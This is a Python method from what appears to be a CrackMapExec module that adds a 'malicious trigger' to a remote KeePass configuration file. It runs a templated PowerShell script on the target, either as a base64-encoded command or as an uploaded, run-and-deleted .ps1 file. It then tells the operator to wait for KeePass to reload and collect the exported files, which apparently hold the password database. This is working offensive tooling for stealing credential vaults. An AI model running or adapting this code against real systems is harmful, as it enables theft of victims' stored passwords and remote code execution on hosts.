def add_trigger(self, context, connection):
        """Add a malicious trigger to a remote KeePass config file using the powershell script AddKeePassTrigger.ps1"""

        # check if the specified KeePass configuration file exists
        if self.trigger_added(context, connection):
            context.log.display(f"The specified configuration file {self.keepass_config_path} already contains a trigger called '{self.trigger_name}', skipping")
            return

        context.log.display(f"Adding trigger '{self.trigger_name}' to '{self.keepass_config_path}'")

        # prepare the trigger addition script based on user-specified parameters (e.g: trigger name, etc)
        # see data/keepass_trigger_module/AddKeePassTrigger.ps1 for the full script
        self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_ExportPath", self.export_path)
        self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_ExportName", self.export_name)
        self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_TriggerName", self.trigger_name)
        self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_KeePassXMLPath", self.keepass_config_path)

        # add the malicious trigger to the remote KeePass configuration file
        if self.powershell_exec_method == "ENCODE":
            add_trigger_script_b64 = b64encode(self.add_trigger_script_str.encode("UTF-16LE")).decode("utf-8")
            add_trigger_script_cmd = f"powershell.exe -e {add_trigger_script_b64}"
            connection.execute(add_trigger_script_cmd)
            sleep(2)  # as I noticed some delay may happen with the encoded powershell command execution
        elif self.powershell_exec_method == "PS1":
            try:
                self.put_file_execute_delete(context, connection, self.add_trigger_script_str)
            except Exception as e:
                context.log.fail(f"Error while adding malicious trigger to file: {e}")
                sys.exit(1)

        # checks if the malicious trigger was effectively added to the specified KeePass configuration file
        if self.trigger_added(context, connection):
            context.log.success(f"Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files")
        else:
            context.log.fail(f"Unknown error when adding malicious trigger to file")
            sys.exit(1)
Add a malicious trigger to a remote KeePass config file using the powershell script AddKeePassTrigger.ps1
cme/modules/keepass_trigger.py